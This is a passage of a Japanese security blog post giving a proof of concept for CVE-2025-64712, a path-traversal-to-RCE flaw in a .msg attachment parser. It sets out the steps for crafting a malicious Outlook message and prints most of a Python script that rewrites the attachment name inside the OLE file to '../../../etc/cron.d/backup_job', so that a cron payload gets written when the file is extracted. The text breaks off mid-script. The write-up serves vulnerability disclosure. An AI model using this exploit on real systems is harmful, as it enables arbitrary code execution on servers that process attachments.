&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;_attachment_file_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="sd"&gt;"""The original name of the attached file, no path.&lt;/span&gt;
&lt;span class="sd"&gt;      This value is 'unknown' if it is not present in the MSG file (not&lt;/span&gt;
&lt;span class="sd"&gt;expected).&lt;/span&gt;
&lt;span class="sd"&gt;      """&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_attachment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;file_name&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;"unknown"&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="cve-2025-64712の概念実証:パストラバーサルによるリモートコード実行"&gt;CVE-2025-64712の概念実証：パストラバーサルによるリモートコード実行&lt;/h2&gt;
&lt;p&gt;CVE-2025-64712の悪用には、標準的なメール添付ファイルをシステムレベルのコマンドへと変える、意図的な3段階のプロセスが関係します。以下の手順では、攻撃者が単純な&lt;strong&gt;.msg&lt;/strong&gt;ファイルから完全なリモートコード実行（RCE）へとどのように進むかを概説します。&lt;/p&gt;
&lt;h3 id="ステップ1:最初の.msgファイルの作成"&gt;ステップ1：最初の.msgファイルの作成&lt;/h3&gt;
&lt;p&gt;攻撃は、配信ベクトルとして機能させるための正規のMicrosoft Outlook Message（.msg）ファイルを生成することから始まります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ドラフトの初期化：Outlookを開き、新しいメールメッセージを作成します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ペイロードの埋め込み：メッセージのフィールドを入力し、標的の内容を含むファイル（たとえば、標的の設定ディレクトリに向けたcronジョブスクリプト）を添付します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ファイルのエクスポート：File &amp;gt; Save As（Webクライアントの場合はDownload &amp;gt; Download as MSG）と進み、メッセージをエクスポートします。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;攻撃者は、cronジョブスクリプトのような悪意のあるペイロードを含むファイルをこのメッセージに添付します。この段階では、添付ファイル名が標準的なもの（例：backup_job）であるため、ファイルは無害です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt=".msgファイル内の添付ファイルの表示" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-02-18_cve_2025_64712/2026-02-23_09-30.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="ステップ2:トラバーサルパスの注入"&gt;ステップ2：トラバーサルパスの注入&lt;/h3&gt;
&lt;p&gt;攻撃者は、専用のPythonスクリプトを使って.msgファイルのバイナリ構造を改変します。ファイル内のOLE構造を標的にすることで、攻撃者は添付ファイルを単純なファイル名から、トラバーサルシーケンスを含む相対パスへと名前変更します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;変換&lt;/strong&gt;：backup_jobが../../../etc/cron.d/backup_jobになります。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;結果&lt;/strong&gt;：ファイル名そのものに一時ディレクトリから脱出するための命令が含まれた、細工されたpayload.msgが生成されます。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;span class="sd"&gt;"""&lt;/span&gt;
&lt;span class="sd"&gt;rename_msg_attachment.py&lt;/span&gt;
&lt;span class="sd"&gt;------------------------&lt;/span&gt;
&lt;span class="sd"&gt;Rename an attachment's filename inside a .msg (OLE2/Compound Document) file.&lt;/span&gt;
&lt;span class="sd"&gt;Supports new filenames of ANY length &amp;mdash; reallocates mini-sectors as needed.&lt;/span&gt;

&lt;span class="sd"&gt;Edit the three variables below and run:&lt;/span&gt;
&lt;span class="sd"&gt;    python rename_msg_attachment.py&lt;/span&gt;
&lt;span class="sd"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;struct&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;shutil&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;math&lt;/span&gt;



&lt;span class="n"&gt;INPUT_FILE&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"backup.msg"&lt;/span&gt;        &lt;span class="c1"&gt;# Path to the source .msg file&lt;/span&gt;
&lt;span class="n"&gt;OLD_NAME&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"backup_job"&lt;/span&gt;        &lt;span class="c1"&gt;# Current attachment filename &lt;/span&gt;
&lt;span class="n"&gt;NEW_NAME&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"../../../etc/cron.d/backup_job"&lt;/span&gt;       &lt;span class="c1"&gt;# New attachment filename &lt;/span&gt;
&lt;span class="n"&gt;OUTPUT_FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"payload.msg"&lt;/span&gt;                &lt;span class="c1"&gt;# Output path &amp;mdash; leave empty "" to overwrite INPUT_FILE&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;SNIP&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;


&lt;span class="c1"&gt;# Core rename logic&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;rename_attachment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;old_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"[*] Opening: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;input_path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;ole&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OleFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;attach_storages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;find_attach_storages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;attach_storages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"No attachment storages found in this .msg file."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"[*] Found &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attach_storages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; attachment(s)."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;renamed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;att&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;attach_storages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;children&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_children&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;att&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="n"&gt;by_name&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;long_e&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop_stream_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PR_ATTACH_LONG_FILENAME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="n"&gt;short_e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop_stream_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PR_ATTACH_FILENAME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="n"&gt;disp_e&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop_stream_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PR_DISPLAY_NAME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="n"&gt;ext_e&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop_stream_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PR_ATTACH_EXTENSION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

        &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;long_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;read_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;long_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;short_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;read_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;short_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"    [&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;att&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;]  current filename: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;old_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="c1"&gt;# Encode new values&lt;/span&gt;
        &lt;span class="n"&gt;new_encoded&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encode_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;short_encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encode_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;parts&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rsplit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'.'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;new_ext&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'.'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
        &lt;span class="n"&gt;ext_encoded&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encode_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_ext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"    [+] Match! Renaming '&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;' -&amp;gt; '&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;new_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"        old size: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encode_unicode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; bytes  "&lt;/span&gt;
              &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"new size: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; bytes"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;long_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_stream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;long_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;new_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"        &amp;checkmark; Long filename patched."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;short_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_stream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;short_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"        &amp;checkmark; Short filename patched -&amp;gt; '&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;short_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;disp_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_stream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;disp_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;new_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"        &amp;checkmark; Display name patched."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ext_e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_stream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ext_e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ext_encoded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"        &amp;checkmark; Extension patched -&amp;gt; '&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;new_ext&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;renamed&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;renamed&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;[!] No attachment named '&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;old_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;' was found."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;all_names&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;att&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;attach_storages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;children&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_children&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ole&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;att&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'idx'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="n"&gt;by_name&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;long_e&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop_stream_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PR_ATTACH_LONG_FILENAME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="n"&gt;short_e&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop_stream_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PR_ATTACH_FILENAME&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
